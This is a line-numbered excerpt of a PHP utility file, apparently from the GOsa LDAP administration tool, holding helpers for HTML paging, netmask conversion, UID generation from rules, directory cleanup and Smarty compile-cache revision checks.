1218 {
1219 global $REWRITE;
1221 foreach ($REWRITE as $key => $val){
1222 $s= preg_replace("/$key/", "$val", $s);
1223 }
1225 return ($s);
1226 }
1229 function dn2base($dn)
1230 {
1231 global $config;
1233 if (get_people_ou() != ""){
1234 $dn= preg_replace('/,'.get_people_ou().'/' , ',', $dn);
1235 }
1236 if (get_groups_ou() != ""){
1237 $dn= preg_replace('/,'.get_groups_ou().'/' , ',', $dn);
1238 }
1239 $base= preg_replace ('/^[^,]+,/i', '', $dn);
1241 return ($base);
1242 }
1246 function check_command($cmdline)
1247 {
1248 $cmd= preg_replace("/ .*$/", "", $cmdline);
1250 /* Check if command exists in filesystem */
1251 if (!file_exists($cmd)){
1252 return (FALSE);
1253 }
1255 /* Check if command is executable */
1256 if (!is_executable($cmd)){
1257 return (FALSE);
1258 }
1260 return (TRUE);
1261 }
1264 function print_header($image, $headline, $info= "")
1265 {
1266 $display= "<div class=\"plugtop\">\n";
1267 $display.= " <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\"> $headline</p>\n";
1268 $display.= "</div>\n";
1270 if ($info != ""){
1271 $display.= "<div class=\"pluginfo\">\n";
1272 $display.= "$info";
1273 $display.= "</div>\n";
1274 } else {
1275 $display.= "<div style=\"height:5px;\">\n";
1276 $display.= " ";
1277 $display.= "</div>\n";
1278 }
1280 return ($display);
1281 }
1284 function register_global($name, $object)
1285 {
1286 $_SESSION[$name]= $object;
1287 }
1290 function is_global($name)
1291 {
1292 return isset($_SESSION[$name]);
1293 }
1296 function get_global($name)
1297 {
1298 return $_SESSION[$name];
1299 }
1302 function range_selector($dcnt,$start,$range=25,$post_var=false)
1303 {
1305 /* Entries shown left and right from the selected entry */
1306 $max_entries= 10;
1308 /* Initialize and take care that max_entries is even */
1309 $output="";
1310 if ($max_entries & 1){
1311 $max_entries++;
1312 }
1314 if((!empty($post_var))&&(isset($_POST[$post_var]))){
1315 $range= $_POST[$post_var];
1316 }
1318 /* Prevent output to start or end out of range */
1319 if ($start < 0 ){
1320 $start= 0 ;
1321 }
1322 if ($start >= $dcnt){
1323 $start= $range * (int)(($dcnt / $range) + 0.5);
1324 }
1326 $numpages= (($dcnt / $range));
1327 if(((int)($numpages))!=($numpages)){
1328 $numpages = (int)$numpages + 1;
1329 }
1330 if ((((int)$numpages) <= 1 )&&(!$post_var)){
1331 return ("");
1332 }
1333 $ppage= (int)(($start / $range) + 0.5);
1336 /* Align selected page to +/- max_entries/2 */
1337 $begin= $ppage - $max_entries/2;
1338 $end= $ppage + $max_entries/2;
1340 /* Adjust begin/end, so that the selected value is somewhere in
1341 the middle and the size is max_entries if possible */
1342 if ($begin < 0){
1343 $end-= $begin + 1;
1344 $begin= 0;
1345 }
1346 if ($end > $numpages) {
1347 $end= $numpages;
1348 }
1349 if (($end - $begin) < $max_entries && ($end - $max_entries) > 0){
1350 $begin= $end - $max_entries;
1351 }
1353 if($post_var){
1354 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
1355 <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
1356 }else{
1357 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
1358 }
1360 /* Draw decrement */
1361 if ($start > 0 ) {
1362 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1363 (($start-$range))."\">".
1364 "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
1365 }
1367 /* Draw pages */
1368 for ($i= $begin; $i < $end; $i++) {
1369 if ($ppage == $i){
1370 $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
1371 validate($_GET['plug'])."&start=".
1372 ($i*$range)."\"> ".($i+1)." </a>";
1373 } else {
1374 $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
1375 "&start=".($i*$range)."\"> ".($i+1)." </a>";
1376 }
1377 }
1379 /* Draw increment */
1380 if($start < ($dcnt-$range)) {
1381 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1382 (($start+($range)))."\">".
1383 "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
1384 }
1386 if(($post_var)&&($numpages)){
1387 $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'> "._("Entries per page")." <select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
1388 foreach(array(20,50,100,200,"all") as $num){
1389 if($num == "all"){
1390 $var = 10000;
1391 }else{
1392 $var = $num;
1393 }
1394 if($var == $range){
1395 $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
1396 }else{
1397 $output.="\n<option value='".$var."'>".$num."</option>";
1398 }
1399 }
1400 $output.= "</select></td></tr></table></div>";
1401 }else{
1402 $output.= "</div>";
1403 }
1405 return($output);
1406 }
1409 function apply_filter()
1410 {
1411 $apply= "";
1413 $apply= ''.
1414 '<table summary="" width="100%" style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
1415 '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
1417 return ($apply);
1418 }
1421 function back_to_main()
1422 {
1423 $string= '<br><p class="plugbottom"><input type=submit name="password_back" value="'.
1424 _("Back").'"></p><input type="hidden" name="ignore">';
1426 return ($string);
1427 }
1430 function normalize_netmask($netmask)
1431 {
1432 /* Check for notation of netmask */
1433 if (!preg_match('/^([0-9]+\.){3}[0-9]+$/', $netmask)){
1434 $num= (int)($netmask);
1435 $netmask= "";
1437 for ($byte= 0; $byte<4; $byte++){
1438 $result=0;
1440 for ($i= 7; $i>=0; $i--){
1441 if ($num-- > 0){
1442 $result+= pow(2,$i);
1443 }
1444 }
1446 $netmask.= $result.".";
1447 }
1449 return (preg_replace('/\.$/', '', $netmask));
1450 }
1452 return ($netmask);
1453 }
1456 function netmask_to_bits($netmask)
1457 {
1458 list($nm0, $nm1, $nm2, $nm3)= split('\.', $netmask);
1459 $res= 0;
1461 for ($n= 0; $n<4; $n++){
1462 $start= 255;
1463 $name= "nm$n";
1465 for ($i= 0; $i<8; $i++){
1466 if ($start == (int)($$name)){
1467 $res+= 8 - $i;
1468 break;
1469 }
1470 $start-= pow(2,$i);
1471 }
1472 }
1474 return ($res);
1475 }
1478 function recurse($rule, $variables)
1479 {
1480 $result= array();
1482 if (!count($variables)){
1483 return array($rule);
1484 }
1486 reset($variables);
1487 $key= key($variables);
1488 $val= current($variables);
1489 unset ($variables[$key]);
1491 foreach($val as $possibility){
1492 $nrule= preg_replace("/\{$key\}/", $possibility, $rule);
1493 $result= array_merge($result, recurse($nrule, $variables));
1494 }
1496 return ($result);
1497 }
1500 function expand_id($rule, $attributes)
1501 {
1502 /* Check for id rule */
1503 if(preg_match('/^id(:|#)\d+$/',$rule)){
1504 return (array("\{$rule}"));
1505 }
1507 /* Check for clean attribute */
1508 if (preg_match('/^%[a-zA-Z0-9]+$/', $rule)){
1509 $rule= preg_replace('/^%/', '', $rule);
1510 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$rule])));
1511 return (array($val));
1512 }
1514 /* Check for attribute with parameters */
1515 if (preg_match('/^%[a-zA-Z0-9]+\[[0-9-]+\]$/', $rule)){
1516 $param= preg_replace('/^[^[]+\[([^]]+)]$/', '\\1', $rule);
1517 $part= preg_replace('/^%/', '', preg_replace('/\[.*$/', '', $rule));
1518 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$part])));
1519 $start= preg_replace ('/-.*$/', '', $param);
1520 $stop = preg_replace ('/^[^-]+-/', '', $param);
1522 /* Assemble results */
1523 $result= array();
1524 for ($i= $start; $i<= $stop; $i++){
1525 $result[]= substr($val, 0, $i);
1526 }
1527 return ($result);
1528 }
1530 echo "Error in idgen string: don't know how to handle rule $rule.\n";
1531 return (array($rule));
1532 }
1535 function gen_uids($rule, $attributes)
1536 {
1537 global $config;
1539 /* Search for keys and fill the variables array with all
1540 possible values for that key. */
1541 $part= "";
1542 $trigger= false;
1543 $stripped= "";
1544 $variables= array();
1546 for ($pos= 0; $pos < strlen($rule); $pos++){
1548 if ($rule[$pos] == "{" ){
1549 $trigger= true;
1550 $part= "";
1551 continue;
1552 }
1554 if ($rule[$pos] == "}" ){
1555 $variables[$pos]= expand_id($part, $attributes);
1556 $stripped.= "\{$pos}";
1557 $trigger= false;
1558 continue;
1559 }
1561 if ($trigger){
1562 $part.= $rule[$pos];
1563 } else {
1564 $stripped.= $rule[$pos];
1565 }
1566 }
1568 /* Recurse through all possible combinations */
1569 $proposed= recurse($stripped, $variables);
1571 /* Get list of used ID's */
1572 $used= array();
1573 $ldap= $config->get_ldap_link();
1574 $ldap->cd($config->current['BASE']);
1575 $ldap->search('(uid=*)');
1577 while($attrs= $ldap->fetch()){
1578 $used[]= $attrs['uid'][0];
1579 }
1581 /* Remove used uids and watch out for id tags */
1582 $ret= array();
1583 foreach($proposed as $uid){
1585 /* Check for id tag and modify uid if needed */
1586 if(preg_match('/\{id:\d+}/',$uid)){
1587 $size= preg_replace('/^.*{id:(\d+)}.*$/', '\\1', $uid);
1589 for ($i= 0; $i < pow(10,$size); $i++){
1590 $number= sprintf("%0".$size."d", $i);
1591 $res= preg_replace('/{id:(\d+)}/', $number, $uid);
1592 if (!in_array($res, $used)){
1593 $uid= $res;
1594 break;
1595 }
1596 }
1597 }
1599 if(preg_match('/\{id#\d+}/',$uid)){
1600 $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
1602 while (true){
1603 mt_srand((double) microtime()*1000000);
1604 $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
1605 $res= preg_replace('/{id#(\d+)}/', $number, $uid);
1606 if (!in_array($res, $used)){
1607 $uid= $res;
1608 break;
1609 }
1610 }
1611 }
1613 /* Don't assign used ones */
1614 if (!in_array($uid, $used)){
1615 $ret[]= $uid;
1616 }
1617 }
1619 return(array_unique($ret));
1620 }
1623 function array_search_r($needle, $key, $haystack){
1625 foreach($haystack as $index => $value){
1626 $match= 0;
1628 if (is_array($value)){
1629 $match= array_search_r($needle, $key, $value);
1630 }
1632 if ($index==$key && !is_array($value) && preg_match("/$needle/i", $value)){
1633 $match=1;
1634 }
1636 if ($match){
1637 return 1;
1638 }
1639 }
1641 return 0;
1642 }
1645 /* Sadly values like memory_limit are perpended by K, M, G, etc.
1646 Need to convert... */
1647 function to_byte($value) {
1648 $value= strtolower(trim($value));
1650 if(!is_numeric(substr($value, -1))) {
1652 switch(substr($value, -1)) {
1653 case 'g':
1654 $mult= 1073741824;
1655 break;
1656 case 'm':
1657 $mult= 1048576;
1658 break;
1659 case 'k':
1660 $mult= 1024;
1661 break;
1662 }
1664 return ($mult * (int)substr($value, 0, -1));
1665 } else {
1666 return $value;
1667 }
1668 }
1671 function in_array_ics($value, $items)
1672 {
1673 if (!is_array($items)){
1674 return (FALSE);
1675 }
1677 foreach ($items as $item){
1678 if (strtolower($item) == strtolower($value)) {
1679 return (TRUE);
1680 }
1681 }
1683 return (FALSE);
1684 }
1687 function generate_alphabet($count= 10)
1688 {
1689 $characters= _("*ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
1690 $alphabet= "";
1691 $c= 0;
1693 /* Fill cells with charaters */
1694 for ($i= 0; $i<mb_strlen($characters, 'UTF8'); $i++){
1695 if ($c == 0){
1696 $alphabet.= "<tr>";
1697 }
1699 $ch = mb_substr($characters, $i, 1, "UTF8");
1700 $alphabet.= "<td><a class=\"alphaselect\" href=\"main.php?plug=".
1701 validate($_GET['plug'])."&search=".$ch."\"> ".$ch." </a></td>";
1703 if ($c++ == $count){
1704 $alphabet.= "</tr>";
1705 $c= 0;
1706 }
1707 }
1709 /* Fill remaining cells */
1710 while ($c++ <= $count){
1711 $alphabet.= "<td> </td>";
1712 }
1714 return ($alphabet);
1715 }
1718 function validate($string)
1719 {
1720 return (strip_tags(preg_replace('/\0/', '', $string)));
1721 }
1723 function get_gosa_version()
1724 {
1725 global $svn_revision, $svn_path;
1727 /* Extract informations */
1728 $revision= preg_replace('/^[^0-9]*([0-9]+)[^0-9]*$/', '\1', $svn_revision);
1730 /* Release or development? */
1731 if (preg_match('%/gosa/trunk/%', $svn_path)){
1732 return (sprintf(_("GOsa development snapshot (Rev %s)"), $revision));
1733 } else {
1734 $release= preg_replace('%^.*/([^/]+)/include/functions.inc.*$%', '\1', $svn_path);
1735 return (sprintf(_("GOsa $release"), $revision));
1736 }
1737 }
1740 function rmdirRecursive($path, $followLinks=false) {
1741 $dir= opendir($path);
1742 while($entry= readdir($dir)) {
1743 if(is_file($path."/".$entry) || ((!$followLinks) && is_link($path."/".$entry))) {
1744 unlink($path."/".$entry);
1745 } elseif (is_dir($path."/".$entry) && $entry!='.' && $entry!='..') {
1746 rmdirRecursive($path."/".$entry);
1747 }
1748 }
1749 closedir($dir);
1750 return rmdir($path);
1751 }
1753 function scan_directory($path,$sort_desc=false)
1754 {
1755 $ret = false;
1757 /* is this a dir ? */
1758 if(is_dir($path)) {
1760 /* is this path a readable one */
1761 if(is_readable($path)){
1763 /* Get contents and write it into an array */
1764 $ret = array();
1766 $dir = opendir($path);
1768 /* Is this a correct result ?*/
1769 if($dir){
1770 while($fp = readdir($dir))
1771 $ret[]= $fp;
1772 }
1773 }
1774 }
1775 /* Sort array ascending , like scandir */
1776 sort($ret);
1778 /* Sort descending if parameter is sort_desc is set */
1779 if($sort_desc) {
1780 $ret = array_reverse($ret);
1781 }
1783 return($ret);
1784 }
1786 function clean_smarty_compile_dir($directory)
1787 {
1788 global $svn_revision;
1790 if(is_dir($directory) && is_readable($directory)) {
1791 // Set revision filename to REVISION
1792 $revision_file= $directory."/REVISION";
1794 /* Is there a stamp containing the current revision? */
1795 if(!file_exists($revision_file)) {
1796 // create revision file
1797 create_revision($revision_file, $svn_revision);
1798 } else {
1799 # check for "$config->...['CONFIG']/revision" and the
1800 # contents should match the revision number
1801 if(!compare_revision($revision_file, $svn_revision)){
1802 // If revision differs, clean compile directory
1803 foreach(scan_directory($directory) as $file) {
1804 if(($file==".")||($file=="..")) continue;
1805 if( is_file($directory."/".$file) &&
1806 is_writable($directory."/".$file)) {
1807 // delete file
1808 if(!unlink($directory."/".$file)) {
1809 print_red("File ".$directory."/".$file." could not be deleted.");
1810 // This should never be reached
1811 }
1812 } elseif(is_dir($directory."/".$file) &&
1813 is_writable($directory."/".$file)) {
1814 // Just recursively delete it
1815 rmdirRecursive($directory."/".$file);
1816 }
1817 }
1818 // We should now create a fresh revision file
1819 clean_smarty_compile_dir($directory);
1820 } else {
1821 // Revision matches, nothing to do
1822 }
1823 }
1824 } else {
1825 // Smarty compile dir is not accessible
1826 // (Smarty will warn about this)
1827 }
1828 }
1830 function create_revision($revision_file, $revision)
1831 {
1832 $result= false;
1834 if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
1835 if($fh= fopen($revision_file, "w")) {
1836 if(fwrite($fh, $revision)) {
1837 $result= true;
1838 }
1839 }
1840 fclose($fh);
1841 } else {
1842 print_red("Can not write to revision file");
1843 }
1845 return $result;
1846 }
1848 function compare_revision($revision_file, $revision)
1849 {
1850 // false means revision differs
1851 $result= false;
1853 if(file_exists($revision_file) && is_readable($revision_file)) {
1854 // Open file
1855 if($fh= fopen($revision_file, "r")) {
1856 // Compare File contents with current revision
1857 if($revision == fread($fh, filesize($revision_file))) {
1858 $result= true;
1859 }
1860 } else {
1861 print_red("Can not open revision file");
1862 }
1863 // Close file
1864 fclose($fh);
1865 }
1867 return $result;
1868 }
1870 function progressbar($percentage,$width=100,$height=15,$showvalue=false)
1871 {
1872 $str = ""; // Our return value will be saved in this var
1874 $color = dechex($percentage+150);
1875 $color2 = dechex(150 - $percentage);
1876 $bgcolor= $showvalue?"FFFFFF":"DDDDDD";
1878 $progress = (int)(($percentage /100)*$width);
1880 /* Abort printing out percentage, if divs are to small */
1883 /* If theres a better solution for this, use it... */
1884 $str = "
1885 <div style=\" width:".($width)."px;
1886 height:".($height)."px;
1887 background-color:#000000;
1888 padding:1px;\">
1890 <div style=\" width:".($width)."px;
1891 background-color:#$bgcolor;
1892 height:".($height)."px;\">
1894 <div style=\" width:".$progress."px;
1895 height:".$height."px;
1896 background-color:#".$color2.$color2.$color."; \">";
1899 if(($height >10)&&($showvalue)){
1900 $str.= "<font style=\"font-size:".($height-2)."px;color:#FF0000;align:middle;padding-left:".((int)(($width*0.4)))."px;\">
1901 <b>".$percentage."%</b>
1902 </font>";
1903 }
1905 $str.= "</div></div></div>";
1907 return($str);
1908 }
1911 function array_key_ics($ikey, $items)
1912 {
1913 /* Gather keys, make them lowercase */
1914 $tmp= array();
1915 foreach ($items as $key => $value){
1916 $tmp[strtolower($key)]= $key;
1917 }
1919 if (isset($tmp[strtolower($ikey)])){
1920 return($tmp[strtolower($ikey)]);
1921 }
1923 return ("");
1924 }
1927 function search_config($arr, $name, $return)
1928 {
1929 if (is_array($arr)){
1930 foreach ($arr as $a){
1931 if (isset($a['CLASS']) &&
1932 strtolower($a['CLASS']) == strtolower($name)){
1934 if (isset($a[$return])){
1935 return ($a[$return]);
1936 } else {
1937 return ("");
1938 }
1939 } else {
1940 $res= search_config ($a, $name, $return);
1941 if ($res != ""){
1942 return $res;
1943 }
1944 }
1945 }
1946 }
1947 return ("");
1948 }
1951 function array_differs($src, $dst)
1952 {
1953 /* If the count is differing, the arrays differ */
1954 if (count ($src) != count ($dst)){
1955 return (TRUE);
1956 }
1958 /* So the count is the same - lets check the contents */
1959 $differs= FALSE;
1960 foreach($src as $value){
1961 if (!in_array($value, $dst)){
1962 $differs= TRUE;
1963 }
1964 }
1966 return ($differs);
1967 }
1970 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
1971 ?>